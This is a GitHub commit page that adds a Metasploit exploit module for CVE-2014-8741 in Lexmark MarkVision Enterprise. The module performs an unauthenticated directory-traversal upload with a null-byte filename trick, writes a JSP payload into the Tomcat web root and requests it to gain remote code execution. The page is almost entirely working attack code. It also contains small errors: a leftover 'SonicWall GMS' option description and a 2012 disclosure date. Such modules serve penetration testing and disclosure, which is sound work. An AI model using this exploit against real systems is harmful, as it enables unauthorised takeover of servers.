Skip to content

Commit 5afd2d7

Browse files
committed
Add module for ZDI-14-410
1 parent 655cfdd commit 5afd2d7

File tree

1 file changed

+112
-0
lines changed

1 file changed

+112
-0
lines changed
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Lexmark MarkVision Enterprise Arbitrary File Upload',
16+
'Description' => %q{
17+
This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1. A
18+
directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated attacker
19+
to upload arbitrary files. Since the embedded tomcat application server enables auto deploy
20+
it's possible to upload a WAR file to achieve remote code execution. This module has been
21+
tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2.
22+
},
23+
'Author' =>
24+
[
25+
'Andrea Micalizzi', # Vulnerability Discovery
26+
'juan vazquez' # Metasploit module
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
['CVE', '2014-8741'],
32+
['ZDI', '14-410']
33+
],
34+
'Privileged' => true,
35+
'Platform' => 'win',
36+
'Arch' => ARCH_JAVA,
37+
'Targets' =>
38+
[
39+
[ 'Lexmark Markvision Enterprise 2.0', { } ]
40+
],
41+
'DefaultTarget' => 0,
42+
'DisclosureDate' => 'Jan 17 2012'))
43+
44+
register_options(
45+
[
46+
Opt::RPORT(9788),
47+
OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/'])
48+
], self.class)
49+
end
50+
51+
def check
52+
res = send_request_cgi({
53+
'uri' => normalize_uri(target_uri.path.to_s, 'mve', 'help', 'en', 'inventory', 'am_about.html')
54+
})
55+
56+
version = nil
57+
if res && res.code == 200 && res.body && res.body.to_s =~ /MarkVision Enterprise ([\d\.]+)/
58+
version = $1
59+
else
60+
return Exploit::CheckCode::Unknown
61+
end
62+
63+
if Gem::Version.new(version) <= Gem::Version.new('2.0.0')
64+
return Exploit::CheckCode::Appears
65+
end
66+
67+
Exploit::CheckCode::Safe
68+
end
69+
70+
def exploit
71+
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
72+
jsp = payload.encoded
73+
# By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled
74+
# Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT
75+
traversal_attack = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name}\x00.pdf"
76+
77+
print_status("#{peer} - Uploading JSP payload...")
78+
if upload_file(traversal_attack, jsp)
79+
print_good("#{peer} - JSP successfully updated")
80+
else
81+
fail_with(Failure::Unknown, "#{peer} - JSP update failed")
82+
end
83+
84+
print_status("#{peer} - Executing payload...")
85+
send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, jsp_name)}, 3)
86+
end
87+
88+
def upload_file(filename, contents)
89+
good_signature = rand_text_alpha(4 + rand(4))
90+
bad_signature = rand_text_alpha(4 + rand(4))
91+
92+
post_data = Rex::MIME::Message.new
93+
post_data.add_part(good_signature, nil, nil, "form-data; name=\"success\"")
94+
post_data.add_part(bad_signature, nil, nil, "form-data; name=\"failure\"")
95+
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"")
96+
97+
res = send_request_cgi(
98+
{
99+
'uri' => normalize_uri(target_uri.path, 'mve', 'upload', 'gfd'),
100+
'method' => 'POST',
101+
'data' => post_data.to_s,
102+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
103+
})
104+
105+
if res && res.code == 200 && res.body && res.body.to_s.include?(good_signature)
106+
return true
107+
else
108+
return false
109+
end
110+
end
111+
112+
end

0 commit comments

Comments
 (0)